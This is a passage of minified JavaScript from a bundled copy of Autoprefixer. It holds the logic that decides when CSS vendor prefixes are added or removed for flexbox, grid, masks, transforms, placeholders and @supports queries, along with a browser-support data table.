u=this.prefixes.group(n).down(c=>this.prefixes.normalize(c.prop)===o);if(o==="flex-flow"&&(u=!0),n.prop==="-webkit-box-orient"){let c={"flex-direction":!0,"flex-flow":!0};if(!n.parent.some(f=>c[f.prop]))return}if(u&&!this.withHackValue(n)){n.raw("before").includes(` `)&&this.reduceSpaces(n),a.removeChild(s);return}}for(let u of this.prefixes.values("remove",o)){if(!u.check||!u.check(n.value))continue;if(o=u.unprefixed,this.prefixes.group(n).down(f=>f.value.includes(o))){a.removeChild(s);return}}})}withHackValue(e){return e.prop==="-webkit-background-clip"&&e.value==="text"}disabledValue(e,t){return this.gridStatus(e,t)===!1&&e.type==="decl"&&e.prop==="display"&&e.value.includes("grid")||this.prefixes.options.flexbox===!1&&e.type==="decl"&&e.prop==="display"&&e.value.includes("flex")||e.type==="decl"&&e.prop==="content"?!0:this.disabled(e,t)}disabledDecl(e,t){if(this.gridStatus(e,t)===!1&&e.type==="decl"&&(e.prop.includes("grid")||e.prop==="justify-items"))return!0;if(this.prefixes.options.flexbox===!1&&e.type==="decl"){let i=["order","justify-content","align-items","align-content"];if(e.prop.includes("flex")||i.includes(e.prop))return!0}return this.disabled(e,t)}disabled(e,t){if(!e)return!1;if(e._autoprefixerDisabled!==void 0)return e._autoprefixerDisabled;if(e.parent){let n=e.prev();if(n&&n.type==="comment"&&Q2.test(n.text))return e._autoprefixerDisabled=!0,e._autoprefixerSelfDisabled=!0,!0}let i=null;if(e.nodes){let n;e.each(s=>{s.type==="comment"&&/(!\s*)?autoprefixer:\s*(off|on)/i.test(s.text)&&(typeof n!="undefined"?t.warn("Second Autoprefixer control comment was ignored. Autoprefixer applies control comment to whole block, not to next rules.",{node:s}):n=/on/i.test(s.text))}),n!==void 0&&(i=!n)}if(!e.nodes||i===null)if(e.parent){let n=this.disabled(e.parent,t);e.parent._autoprefixerSelfDisabled===!0?i=!1:i=n}else i=!1;return e._autoprefixerDisabled=i,i}reduceSpaces(e){let t=!1;if(this.prefixes.group(e).up(()=>(t=!0,!0)),t)return;let i=e.raw("before").split(` `),n=i[i.length-1].length,s=!1;this.prefixes.group(e).down(a=>{i=a.raw("before").split(` `);let o=i.length-1;i[o].length>n&&(s===!1&&(s=i[o].length-n),i[o]=i[o].slice(0,-s),a.raws.before=i.join(` `))})}displayType(e){for(let t of e.parent.nodes)if(t.prop==="display"){if(t.value.includes("flex"))return"flex";if(t.value.includes("grid"))return"grid"}return!1}gridStatus(e,t){if(!e)return!1;if(e._autoprefixerGridStatus!==void 0)return e._autoprefixerGridStatus;let i=null;if(e.nodes){let n;e.each(s=>{if(s.type==="comment"&&J2.test(s.text)){let a=/:\s*autoplace/i.test(s.text),o=/no-autoplace/i.test(s.text);typeof n!="undefined"?t.warn("Second Autoprefixer grid control comment was ignored. Autoprefixer applies control comments to the whole block, not to the next rules.",{node:s}):a?n="autoplace":o?n=!0:n=/on/i.test(s.text)}}),n!==void 0&&(i=n)}if(e.type==="atrule"&&e.name==="supports"){let n=e.params;n.includes("grid")&&n.includes("auto")&&(i=!1)}if(!e.nodes||i===null)if(e.parent){let n=this.gridStatus(e.parent,t);e.parent._autoprefixerSelfDisabled===!0?i=!1:i=n}else typeof this.prefixes.options.grid!="undefined"?i=this.prefixes.options.grid:typeof m.env.AUTOPREFIXER_GRID!="undefined"?m.env.AUTOPREFIXER_GRID==="autoplace"?i="autoplace":i=!0:i=!1;return e._autoprefixerGridStatus=i,i}};om.exports=am});var um=v((U3,lm)=>{l();lm.exports={A:{A:{"2":"J D E F A B iB"},B:{"1":"C K L G M N O R S T U V W X Y Z a P b H"},C:{"1":"0 1 2 3 4 5 6 7 8 9 g h i j k l m n o p q r s t u v w x y z AB BB CB DB EB FB GB bB HB cB IB JB Q KB LB MB NB OB PB QB RB SB TB UB VB WB XB R S T kB U V W X Y Z a P b H dB","2":"jB aB I c J D E F A B C K L G M N O d e f lB mB"},D:{"1":"0 1 2 3 4 5 6 7 8 9 m n o p q r s t u v w x y z AB BB CB DB EB FB GB bB HB cB IB JB Q KB LB MB NB OB PB QB RB SB TB UB VB WB XB R S T U V W X Y Z a P b H dB nB oB","2":"I c J D E F A B C K L G M N O d e f g h i j k l"},E:{"1":"F A B C K L G tB fB YB ZB uB vB wB","2":"I c J D E pB eB qB rB sB"},F:{"1":"0 1 2 3 4 5 6 7 8 9 G M N O d e f g h i j k l m n o p q r s t u v w x y z AB BB CB DB EB FB GB HB IB JB Q KB LB MB NB OB PB QB RB SB TB UB VB WB XB ZB","2":"F B C xB yB zB 0B YB gB 1B"},G:{"1":"7B 8B 9B AC BC CC DC EC FC GC HC IC JC KC","2":"E eB 2B hB 3B 4B 5B 6B"},H:{"1":"LC"},I:{"1":"H QC RC","2":"aB I MC NC OC PC hB"},J:{"2":"D A"},K:{"1":"Q","2":"A B C YB gB ZB"},L:{"1":"H"},M:{"1":"P"},N:{"2":"A B"},O:{"1":"SC"},P:{"1":"I TC UC VC WC XC fB YC ZC aC bC"},Q:{"1":"cC"},R:{"1":"dC"},S:{"1":"eC"}},B:4,C:"CSS Feature Queries"}});var dm=v((W3,pm)=>{l();function fm(r){return r[r.length-1]}var cm={parse(r){let e=[""],t=[e];for(let i of r){if(i==="("){e=[""],fm(t).push(e),t.push(e);continue}if(i===")"){t.pop(),e=fm(t),e.push("");continue}e[e.length-1]+=i}return t[0]},stringify(r){let e="";for(let t of r){if(typeof t=="object"){e+=`(${cm.stringify(t)})`;continue}e+=t}return e}};pm.exports=cm});var wm=v((G3,ym)=>{l();var Z2=um(),{feature:eC}=(In(),qn),{parse:tC}=me(),rC=at(),Po=dm(),iC=ke(),nC=ne(),hm=eC(Z2),mm=[];for(let r in hm.stats){let e=hm.stats[r];for(let t in e){let i=e[t];/y/.test(i)&&mm.push(r+" "+t)}}var gm=class{constructor(e,t){this.Prefixes=e,this.all=t}prefixer(){if(this.prefixerCache)return this.prefixerCache;let e=this.all.browsers.selected.filter(i=>mm.includes(i)),t=new rC(this.all.browsers.data,e,this.all.options);return this.prefixerCache=new this.Prefixes(this.all.data,t,this.all.options),this.prefixerCache}parse(e){let t=e.split(":"),i=t[0],n=t[1];return n||(n=""),[i.trim(),n.trim()]}virtual(e){let[t,i]=this.parse(e),n=tC("a{}").first;return n.append({prop:t,value:i,raws:{before:""}}),n}prefixed(e){let t=this.virtual(e);if(this.disabled(t.first))return t.nodes;let i={warn:()=>null},n=this.prefixer().add[t.first.prop];n&&n.process&&n.process(t.first,i);for(let s of t.nodes){for(let a of this.prefixer().values("add",t.first.prop))a.process(s);iC.save(this.all,s)}return t.nodes}isNot(e){return typeof e=="string"&&/not\s*/i.test(e)}isOr(e){return typeof e=="string"&&/\s*or\s*/i.test(e)}isProp(e){return typeof e=="object"&&e.length===1&&typeof e[0]=="string"}isHack(e,t){return!new RegExp(`(\\(|\\s)${nC.escapeRegexp(t)}:`).test(e)}toRemove(e,t){let[i,n]=this.parse(e),s=this.all.unprefixed(i),a=this.all.cleaner();if(a.remove[i]&&a.remove[i].remove&&!this.isHack(t,s))return!0;for(let o of a.values("remove",s))if(o.check(n))return!0;return!1}remove(e,t){let i=0;for(;i<e.length;){if(!this.isNot(e[i-1])&&this.isProp(e[i])&&this.isOr(e[i+1])){if(this.toRemove(e[i][0],t)){e.splice(i,2);continue}i+=2;continue}typeof e[i]=="object"&&(e[i]=this.remove(e[i],t)),i+=1}return e}cleanBrackets(e){return e.map(t=>typeof t!="object"?t:t.length===1&&typeof t[0]=="object"?this.cleanBrackets(t[0]):this.cleanBrackets(t))}convert(e){let t=[""];for(let i of e)t.push([`${i.prop}: ${i.value}`]),t.push(" or ");return t[t.length-1]="",t}normalize(e){if(typeof e!="object")return e;if(e=e.filter(t=>t!==""),typeof e[0]=="string"){let t=e[0].trim();if(t.includes(":")||t==="selector"||t==="not selector")return[Po.stringify(e)]}return e.map(t=>this.normalize(t))}add(e,t){return e.map(i=>{if(this.isProp(i)){let n=this.prefixed(i[0]);return n.length>1?this.convert(n):i}return typeof i=="object"?this.add(i,t):i})}process(e){let t=Po.parse(e.params);t=this.normalize(t),t=this.remove(t,e.params),t=this.add(t,e.params),t=this.cleanBrackets(t),e.params=Po.stringify(t)}disabled(e){if(!this.all.options.grid&&(e.prop==="display"&&e.value.includes("grid")||e.prop.includes("grid")||e.prop==="justify-items"))return!0;if(this.all.options.flexbox===!1){if(e.prop==="display"&&e.value.includes("flex"))return!0;let t=["order","justify-content","align-items","align-content"];if(e.prop.includes("flex")||t.includes(e.prop))return!0}return!1}};ym.exports=gm});var xm=v((H3,vm)=>{l();var bm=class{constructor(e,t){this.prefix=t,this.prefixed=e.prefixed(this.prefix),this.regexp=e.regexp(this.prefix),this.prefixeds=e.possible().map(i=>[e.prefixed(i),e.regexp(i)]),this.unprefixed=e.name,this.nameRegexp=e.regexp()}isHack(e){let t=e.parent.index(e)+1,i=e.parent.nodes;for(;t<i.length;){let n=i[t].selector;if(!n)return!0;if(n.includes(this.unprefixed)&&n.match(this.nameRegexp))return!1;let s=!1;for(let[a,o]of this.prefixeds)if(n.includes(a)&&n.match(o)){s=!0;break}if(!s)return!0;t+=1}return!0}check(e){return!(!e.selector.includes(this.prefixed)||!e.selector.match(this.regexp)||this.isHack(e))}};vm.exports=bm});var zt=v((Y3,Sm)=>{l();var{list:sC}=me(),aC=xm(),oC=Bt(),lC=at(),uC=ne(),km=class extends oC{constructor(e,t,i){super(e,t,i);this.regexpCache=new Map}check(e){return e.selector.includes(this.name)?!!e.selector.match(this.regexp()):!1}prefixed(e){return this.name.replace(/^(\W*)/,`$1${e}`)}regexp(e){if(!this.regexpCache.has(e)){let t=e?this.prefixed(e):this.name;this.regexpCache.set(e,new RegExp(`(^|[^:"'=])${uC.escapeRegexp(t)}`,"gi"))}return this.regexpCache.get(e)}possible(){return lC.prefixes()}prefixeds(e){if(e._autoprefixerPrefixeds){if(e._autoprefixerPrefixeds[this.name])return e._autoprefixerPrefixeds}else e._autoprefixerPrefixeds={};let t={};if(e.selector.includes(",")){let n=sC.comma(e.selector).filter(s=>s.includes(this.name));for(let s of this.possible())t[s]=n.map(a=>this.replace(a,s)).join(", ")}else for(let i of this.possible())t[i]=this.replace(e.selector,i);return e._autoprefixerPrefixeds[this.name]=t,e._autoprefixerPrefixeds}already(e,t,i){let n=e.parent.index(e)-1;for(;n>=0;){let s=e.parent.nodes[n];if(s.type!=="rule")return!1;let a=!1;for(let o in t[this.name]){let u=t[this.name][o];if(s.selector===u){if(i===o)return!0;a=!0;break}}if(!a)return!1;n-=1}return!1}replace(e,t){return e.replace(this.regexp(),`$1${this.prefixed(t)}`)}add(e,t){let i=this.prefixeds(e);if(this.already(e,i,t))return;let n=this.clone(e,{selector:i[this.name][t]});e.parent.insertBefore(e,n)}old(e){return new aC(this,e)}};Sm.exports=km});var Am=v((Q3,_m)=>{l();var fC=Bt(),Cm=class extends fC{add(e,t){let i=t+e.name;if(e.parent.some(a=>a.name===i&&a.params===e.params))return;let s=this.clone(e,{name:i});return e.parent.insertBefore(e,s)}process(e){let t=this.parentPrefix(e);for(let i of this.prefixes)(!t||t===i)&&this.add(e,i)}};_m.exports=Cm});var Em=v((J3,Om)=>{l();var cC=zt(),Do=class extends cC{prefixed(e){return e==="-webkit-"?":-webkit-full-screen":e==="-moz-"?":-moz-full-screen":`:${e}fullscreen`}};Do.names=[":fullscreen"];Om.exports=Do});var Pm=v((X3,Tm)=>{l();var pC=zt(),qo=class extends pC{possible(){return super.possible().concat(["-moz- old","-ms- old"])}prefixed(e){return e==="-webkit-"?"::-webkit-input-placeholder":e==="-ms-"?"::-ms-input-placeholder":e==="-ms- old"?":-ms-input-placeholder":e==="-moz- old"?":-moz-placeholder":`::${e}placeholder`}};qo.names=["::placeholder"];Tm.exports=qo});var qm=v((K3,Dm)=>{l();var dC=zt(),Io=class extends dC{prefixed(e){return e==="-ms-"?":-ms-input-placeholder":`:${e}placeholder-shown`}};Io.names=[":placeholder-shown"];Dm.exports=Io});var Rm=v((Z3,Im)=>{l();var hC=zt(),mC=ne(),Ro=class extends hC{constructor(e,t,i){super(e,t,i);this.prefixes&&(this.prefixes=mC.uniq(this.prefixes.map(n=>"-webkit-")))}prefixed(e){return e==="-webkit-"?"::-webkit-file-upload-button":`::${e}file-selector-button`}};Ro.names=["::file-selector-button"];Im.exports=Ro});var fe=v((eD,Mm)=>{l();Mm.exports=function(r){let e;return r==="-webkit- 2009"||r==="-moz-"?e=2009:r==="-ms-"?e=2012:r==="-webkit-"&&(e="final"),r==="-webkit- 2009"&&(r="-webkit-"),[e,r]}});var Bm=v((tD,Lm)=>{l();var Fm=me().list,Nm=fe(),gC=I(),jt=class extends gC{prefixed(e,t){let i;return[i,t]=Nm(t),i===2009?t+"box-flex":super.prefixed(e,t)}normalize(){return"flex"}set(e,t){let i=Nm(t)[0];if(i===2009)return e.value=Fm.space(e.value)[0],e.value=jt.oldValues[e.value]||e.value,super.set(e,t);if(i===2012){let n=Fm.space(e.value);n.length===3&&n[2]==="0"&&(e.value=n.slice(0,2).concat("0px").join(" "))}return super.set(e,t)}};jt.names=["flex","box-flex"];jt.oldValues={auto:"1",none:"0"};Lm.exports=jt});var jm=v((rD,zm)=>{l();var $m=fe(),yC=I(),Mo=class extends yC{prefixed(e,t){let i;return[i,t]=$m(t),i===2009?t+"box-ordinal-group":i===2012?t+"flex-order":super.prefixed(e,t)}normalize(){return"order"}set(e,t){return $m(t)[0]===2009&&/\d/.test(e.value)?(e.value=(parseInt(e.value)+1).toString(),super.set(e,t)):super.set(e,t)}};Mo.names=["order","flex-order","box-ordinal-group"];zm.exports=Mo});var Um=v((iD,Vm)=>{l();var wC=I(),Fo=class extends wC{check(e){let t=e.value;return!t.toLowerCase().includes("alpha(")&&!t.includes("DXImageTransform.Microsoft")&&!t.includes("data:image/svg+xml")}};Fo.names=["filter"];Vm.exports=Fo});var Gm=v((nD,Wm)=>{l();var bC=I(),No=class extends bC{insert(e,t,i,n){if(t!=="-ms-")return super.insert(e,t,i);let s=this.clone(e),a=e.prop.replace(/end$/,"start"),o=t+e.prop.replace(/end$/,"span");if(!e.parent.some(u=>u.prop===o)){if(s.prop=o,e.value.includes("span"))s.value=e.value.replace(/span\s/i,"");else{let u;if(e.parent.walkDecls(a,c=>{u=c}),u){let c=Number(e.value)-Number(u.value)+"";s.value=c}else e.warn(n,`Can not prefix ${e.prop} (${a} is not found)`)}e.cloneBefore(s)}}};No.names=["grid-row-end","grid-column-end"];Wm.exports=No});var Ym=v((sD,Hm)=>{l();var vC=I(),Lo=class extends vC{check(e){return!e.value.split(/\s+/).some(t=>{let i=t.toLowerCase();return i==="reverse"||i==="alternate-reverse"})}};Lo.names=["animation","animation-direction"];Hm.exports=Lo});var Jm=v((aD,Qm)=>{l();var xC=fe(),kC=I(),Bo=class extends kC{insert(e,t,i){let n;if([n,t]=xC(t),n!==2009)return super.insert(e,t,i);let s=e.value.split(/\s+/).filter(p=>p!=="wrap"&&p!=="nowrap"&&"wrap-reverse");if(s.length===0||e.parent.some(p=>p.prop===t+"box-orient"||p.prop===t+"box-direction"))return;let o=s[0],u=o.includes("row")?"horizontal":"vertical",c=o.includes("reverse")?"reverse":"normal",f=this.clone(e);return f.prop=t+"box-orient",f.value=u,this.needCascade(e)&&(f.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,f),f=this.clone(e),f.prop=t+"box-direction",f.value=c,this.needCascade(e)&&(f.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,f)}};Bo.names=["flex-flow","box-direction","box-orient"];Qm.exports=Bo});var Km=v((oD,Xm)=>{l();var SC=fe(),CC=I(),$o=class extends CC{normalize(){return"flex"}prefixed(e,t){let i;return[i,t]=SC(t),i===2009?t+"box-flex":i===2012?t+"flex-positive":super.prefixed(e,t)}};$o.names=["flex-grow","flex-positive"];Xm.exports=$o});var eg=v((lD,Zm)=>{l();var _C=fe(),AC=I(),zo=class extends AC{set(e,t){if(_C(t)[0]!==2009)return super.set(e,t)}};zo.names=["flex-wrap"];Zm.exports=zo});var rg=v((uD,tg)=>{l();var OC=I(),Vt=ot(),jo=class extends OC{insert(e,t,i,n){if(t!=="-ms-")return super.insert(e,t,i);let s=Vt.parse(e),[a,o]=Vt.translate(s,0,2),[u,c]=Vt.translate(s,1,3);[["grid-row",a],["grid-row-span",o],["grid-column",u],["grid-column-span",c]].forEach(([f,p])=>{Vt.insertDecl(e,f,p)}),Vt.warnTemplateSelectorNotFound(e,n),Vt.warnIfGridRowColumnExists(e,n)}};jo.names=["grid-area"];tg.exports=jo});var ng=v((fD,ig)=>{l();var EC=I(),ti=ot(),Vo=class extends EC{insert(e,t,i){if(t!=="-ms-")return super.insert(e,t,i);if(e.parent.some(a=>a.prop==="-ms-grid-row-align"))return;let[[n,s]]=ti.parse(e);s?(ti.insertDecl(e,"grid-row-align",n),ti.insertDecl(e,"grid-column-align",s)):(ti.insertDecl(e,"grid-row-align",n),ti.insertDecl(e,"grid-column-align",n))}};Vo.names=["place-self"];ig.exports=Vo});var ag=v((cD,sg)=>{l();var TC=I(),Uo=class extends TC{check(e){let t=e.value;return!t.includes("/")||t.includes("span")}normalize(e){return e.replace("-start","")}prefixed(e,t){let i=super.prefixed(e,t);return t==="-ms-"&&(i=i.replace("-start","")),i}};Uo.names=["grid-row-start","grid-column-start"];sg.exports=Uo});var ug=v((pD,lg)=>{l();var og=fe(),PC=I(),Ut=class extends PC{check(e){return e.parent&&!e.parent.some(t=>t.prop&&t.prop.startsWith("grid-"))}prefixed(e,t){let i;return[i,t]=og(t),i===2012?t+"flex-item-align":super.prefixed(e,t)}normalize(){return"align-self"}set(e,t){let i=og(t)[0];if(i===2012)return e.value=Ut.oldValues[e.value]||e.value,super.set(e,t);if(i==="final")return super.set(e,t)}};Ut.names=["align-self","flex-item-align"];Ut.oldValues={"flex-end":"end","flex-start":"start"};lg.exports=Ut});var cg=v((dD,fg)=>{l();var DC=I(),qC=ne(),Wo=class extends DC{constructor(e,t,i){super(e,t,i);this.prefixes&&(this.prefixes=qC.uniq(this.prefixes.map(n=>n==="-ms-"?"-webkit-":n)))}};Wo.names=["appearance"];fg.exports=Wo});var hg=v((hD,dg)=>{l();var pg=fe(),IC=I(),Go=class extends IC{normalize(){return"flex-basis"}prefixed(e,t){let i;return[i,t]=pg(t),i===2012?t+"flex-preferred-size":super.prefixed(e,t)}set(e,t){let i;if([i,t]=pg(t),i===2012||i==="final")return super.set(e,t)}};Go.names=["flex-basis","flex-preferred-size"];dg.exports=Go});var gg=v((mD,mg)=>{l();var RC=I(),Ho=class extends RC{normalize(){return this.name.replace("box-image","border")}prefixed(e,t){let i=super.prefixed(e,t);return t==="-webkit-"&&(i=i.replace("border","box-image")),i}};Ho.names=["mask-border","mask-border-source","mask-border-slice","mask-border-width","mask-border-outset","mask-border-repeat","mask-box-image","mask-box-image-source","mask-box-image-slice","mask-box-image-width","mask-box-image-outset","mask-box-image-repeat"];mg.exports=Ho});var wg=v((gD,yg)=>{l();var MC=I(),Fe=class extends MC{insert(e,t,i){let n=e.prop==="mask-composite",s;n?s=e.value.split(","):s=e.value.match(Fe.regexp)||[],s=s.map(c=>c.trim()).filter(c=>c);let a=s.length,o;if(a&&(o=this.clone(e),o.value=s.map(c=>Fe.oldValues[c]||c).join(", "),s.includes("intersect")&&(o.value+=", xor"),o.prop=t+"mask-composite"),n)return a?(this.needCascade(e)&&(o.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,o)):void 0;let u=this.clone(e);return u.prop=t+u.prop,a&&(u.value=u.value.replace(Fe.regexp,"")),this.needCascade(e)&&(u.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,u),a?(this.needCascade(e)&&(o.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,o)):e}};Fe.names=["mask","mask-composite"];Fe.oldValues={add:"source-over",subtract:"source-out",intersect:"source-in",exclude:"xor"};Fe.regexp=new RegExp(`\\s+(${Object.keys(Fe.oldValues).join("|")})\\b(?!\\))\\s*(?=[,])`,"ig");yg.exports=Fe});var xg=v((yD,vg)=>{l();var bg=fe(),FC=I(),Wt=class extends FC{prefixed(e,t){let i;return[i,t]=bg(t),i===2009?t+"box-align":i===2012?t+"flex-align":super.prefixed(e,t)}normalize(){return"align-items"}set(e,t){let i=bg(t)[0];return(i===2009||i===2012)&&(e.value=Wt.oldValues[e.value]||e.value),super.set(e,t)}};Wt.names=["align-items","flex-align","box-align"];Wt.oldValues={"flex-end":"end","flex-start":"start"};vg.exports=Wt});var Sg=v((wD,kg)=>{l();var NC=I(),Yo=class extends NC{set(e,t){return t==="-ms-"&&e.value==="contain"&&(e.value="element"),super.set(e,t)}insert(e,t,i){if(!(e.value==="all"&&t==="-ms-"))return super.insert(e,t,i)}};Yo.names=["user-select"];kg.exports=Yo});var Ag=v((bD,_g)=>{l();var Cg=fe(),LC=I(),Qo=class extends LC{normalize(){return"flex-shrink"}prefixed(e,t){let i;return[i,t]=Cg(t),i===2012?t+"flex-negative":super.prefixed(e,t)}set(e,t){let i;if([i,t]=Cg(t),i===2012||i==="final")return super.set(e,t)}};Qo.names=["flex-shrink","flex-negative"];_g.exports=Qo});var Eg=v((vD,Og)=>{l();var BC=I(),Jo=class extends BC{prefixed(e,t){return`${t}column-${e}`}normalize(e){return e.includes("inside")?"break-inside":e.includes("before")?"break-before":"break-after"}set(e,t){return(e.prop==="break-inside"&&e.value==="avoid-column"||e.value==="avoid-page")&&(e.value="avoid"),super.set(e,t)}insert(e,t,i){if(e.prop!=="break-inside")return super.insert(e,t,i);if(!(/region/i.test(e.value)||/page/i.test(e.value)))return super.insert(e,t,i)}};Jo.names=["break-inside","page-break-inside","column-break-inside","break-before","page-break-before","column-break-before","break-after","page-break-after","column-break-after"];Og.exports=Jo});var Pg=v((xD,Tg)=>{l();var $C=I(),Xo=class extends $C{prefixed(e,t){return t+"print-color-adjust"}normalize(){return"color-adjust"}};Xo.names=["color-adjust","print-color-adjust"];Tg.exports=Xo});var qg=v((kD,Dg)=>{l();var zC=I(),Gt=class extends zC{insert(e,t,i){if(t==="-ms-"){let n=this.set(this.clone(e),t);this.needCascade(e)&&(n.raws.before=this.calcBefore(i,e,t));let s="ltr";return e.parent.nodes.forEach(a=>{a.prop==="direction"&&(a.value==="rtl"||a.value==="ltr")&&(s=a.value)}),n.value=Gt.msValues[s][e.value]||e.value,e.parent.insertBefore(e,n)}return super.insert(e,t,i)}};Gt.names=["writing-mode"];Gt.msValues={ltr:{"horizontal-tb":"lr-tb","vertical-rl":"tb-rl","vertical-lr":"tb-lr"},rtl:{"horizontal-tb":"rl-tb","vertical-rl":"bt-rl","vertical-lr":"bt-lr"}};Dg.exports=Gt});var Rg=v((SD,Ig)=>{l();var jC=I(),Ko=class extends jC{set(e,t){return e.value=e.value.replace(/\s+fill(\s)/,"$1"),super.set(e,t)}};Ko.names=["border-image"];Ig.exports=Ko});var Ng=v((CD,Fg)=>{l();var Mg=fe(),VC=I(),Ht=class extends VC{prefixed(e,t){let i;return[i,t]=Mg(t),i===2012?t+"flex-line-pack":super.prefixed(e,t)}normalize(){return"align-content"}set(e,t){let i=Mg(t)[0];if(i===2012)return e.value=Ht.oldValues[e.value]||e.value,super.set(e,t);if(i==="final")return super.set(e,t)}};Ht.names=["align-content","flex-line-pack"];Ht.oldValues={"flex-end":"end","flex-start":"start","space-between":"justify","space-around":"distribute"};Fg.exports=Ht});var Bg=v((_D,Lg)=>{l();var UC=I(),Se=class extends UC{prefixed(e,t){return t==="-moz-"?t+(Se.toMozilla[e]||e):super.prefixed(e,t)}normalize(e){return Se.toNormal[e]||e}};Se.names=["border-radius"];Se.toMozilla={};Se.toNormal={};for(let r of["top","bottom"])for(let e of["left","right"]){let t=`border-${r}-${e}-radius`,i=`border-radius-${r}${e}`;Se.names.push(t),Se.names.push(i),Se.toMozilla[t]=i,Se.toNormal[i]=t}Lg.exports=Se});var zg=v((AD,$g)=>{l();var WC=I(),Zo=class extends WC{prefixed(e,t){return e.includes("-start")?t+e.replace("-block-start","-before"):t+e.replace("-block-end","-after")}normalize(e){return e.includes("-before")?e.replace("-before","-block-start"):e.replace("-after","-block-end")}};Zo.names=["border-block-start","border-block-end","margin-block-start","margin-block-end","padding-block-start","padding-block-end","border-before","border-after","margin-before","margin-after","padding-before","padding-after"];$g.exports=Zo});var Vg=v((OD,jg)=>{l();var GC=I(),{parseTemplate:HC,warnMissedAreas:YC,getGridGap:QC,warnGridGap:JC,inheritGridGap:XC}=ot(),el=class extends GC{insert(e,t,i,n){if(t!=="-ms-")return super.insert(e,t,i);if(e.parent.some(d=>d.prop==="-ms-grid-rows"))return;let s=QC(e),a=XC(e,s),{rows:o,columns:u,areas:c}=HC({decl:e,gap:a||s}),f=Object.keys(c).length>0,p=Boolean(o),h=Boolean(u);return JC({gap:s,hasColumns:h,decl:e,result:n}),YC(c,e,n),(p&&h||f)&&e.cloneBefore({prop:"-ms-grid-rows",value:o,raws:{}}),h&&e.cloneBefore({prop:"-ms-grid-columns",value:u,raws:{}}),e}};el.names=["grid-template"];jg.exports=el});var Wg=v((ED,Ug)=>{l();var KC=I(),tl=class extends KC{prefixed(e,t){return t+e.replace("-inline","")}normalize(e){return e.replace(/(margin|padding|border)-(start|end)/,"$1-inline-$2")}};tl.names=["border-inline-start","border-inline-end","margin-inline-start","margin-inline-end","padding-inline-start","padding-inline-end","border-start","border-end","margin-start","margin-end","padding-start","padding-end"];Ug.exports=tl});var Hg=v((TD,Gg)=>{l();var ZC=I(),rl=class extends ZC{check(e){return!e.value.includes("flex-")&&e.value!=="baseline"}prefixed(e,t){return t+"grid-row-align"}normalize(){return"align-self"}};rl.names=["grid-row-align"];Gg.exports=rl});var Qg=v((PD,Yg)=>{l();var e_=I(),Yt=class extends e_{keyframeParents(e){let{parent:t}=e;for(;t;){if(t.type==="atrule"&&t.name==="keyframes")return!0;({parent:t}=t)}return!1}contain3d(e){if(e.prop==="transform-origin")return!1;for(let t of Yt.functions3d)if(e.value.includes(`${t}(`))return!0;return!1}set(e,t){return e=super.set(e,t),t==="-ms-"&&(e.value=e.value.replace(/rotatez/gi,"rotate")),e}insert(e,t,i){if(t==="-ms-"){if(!this.contain3d(e)&&!this.keyframeParents(e))return super.insert(e,t,i)}else if(t==="-o-"){if(!this.contain3d(e))return super.insert(e,t,i)}else return super.insert(e,t,i)}};Yt.names=["transform","transform-origin"];Yt.functions3d=["matrix3d","translate3d","translateZ","scale3d","scaleZ","rotate3d","rotateX","rotateY","perspective"];Yg.exports=Yt});var Kg=v((DD,Xg)=>{l();var Jg=fe(),t_=I(),il=class extends t_{normalize(){return"flex-direction"}insert(e,t,i){let n;if([n,t]=Jg(t),n!==2009)return super.insert(e,t,i);if(e.parent.some(f=>f.prop===t+"box-orient"||f.prop===t+"box-direction"))return;let a=e.value,o,u;a==="inherit"||a==="initial"||a==="unset"?(o=a,u=a):(o=a.includes("row")?"horizontal":"vertical",u=a.includes("reverse")?"reverse":"normal");let c=this.clone(e);return c.prop=t+"box-orient",c.value=o,this.needCascade(e)&&(c.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,c),c=this.clone(e),c.prop=t+"box-direction",c.value=u,this.needCascade(e)&&(c.raws.before=this.calcBefore(i,e,t)),e.parent.insertBefore(e,c)}old(e,t){let i;return[i,t]=Jg(t),i===2009?[t+"box-orient",t+"box-direction"]:super.old(e,t)}};il.names=["flex-direction","box-direction","box-orient"];Xg.exports=il});var ey=v((qD,Zg)=>{l();var r_=I(),nl=class extends r_{check(e){return e.value==="pixelated"}prefixed(e,t){return t==="-ms-"?"-ms-interpolation-mode":super.prefixed(e,t)}set(e,t){return t!=="-ms-"?super.set(e,t):(e.prop="-ms-interpolation-mode",e.value="nearest-neighbor",e)}normalize(){return"image-rendering"}process(e,t){return super.process(e,t)}};nl.names=["image-rendering","interpolation-mode"];Zg.exports=nl});var ry=v((ID,ty)=>{l();var i_=I(),n_=ne(),sl=class extends i_{constructor(e,t,i){super(e,t,i);this.prefixes&&(this.prefixes=n_.uniq(this.prefixes.map(n=>n==="-ms-"?"-webkit-":n)))}};sl.names=["backdrop-filter"];ty.exports=sl});var ny=v((RD,iy)=>{l();var s_=I(),a_=ne(),al=class extends s_{constructor(e,t,i){super(e,t,i);this.prefixes&&(this.prefixes=a_.uniq(this.prefixes.map(n=>n==="-ms-"?"-webkit-":n)))}check(e){return e.value.toLowerCase()==="text"}};al.names=["background-clip"];iy.exports=al});var ay=v((MD,sy)=>{l();var o_=I(),l_=["none","underline","overline","line-through","blink","inherit","initial","unset"],ol=class extends o_{check(e){return e.value.split(/\s+/).some(t=>!l_.includes(t))}};ol.names=["text-decoration"];sy.exports=ol});var uy=v((FD,ly)=>{l();var oy=fe(),u_=I(),Qt=class extends u_{prefixed(e,t){let i;return[i,t]=oy(t),i===2009?t+"box-pack":i===2012?t+"flex-pack":super.prefixed(e,t)}normalize(){return"justify-content"}set(e,t){let i=oy(t)[0];if(i===2009||i===2012){let n=Qt.oldValues[e.value]||e.value;if(e.value=n,i!==2009||n!=="distribute")return super.set(e,t)}else if(i==="final")return super.set(e,t)}};Qt.names=["justify-content","flex-pack","box-pack"];Qt.oldValues={"flex-end":"end","flex-start":"start","space-between":"justify","space-around":"distribute"};ly.exports=Qt});var cy=v((ND,fy)=>{l();var f_=I(),ll=class extends f_{set(e,t){let i=e.value.toLowerCase();return t==="-webkit-"&&!i.includes(" ")&&i!=="contain"&&i!=="cover"&&(e.value=e.value+" "+e.value),super.set(e,t)}};ll.names=["background-size"];fy.exports=ll});var dy=v((LD,py)=>{l();var c_=I(),ul=ot(),fl=class extends c_{insert(e,t,i){if(t!=="-ms-")return 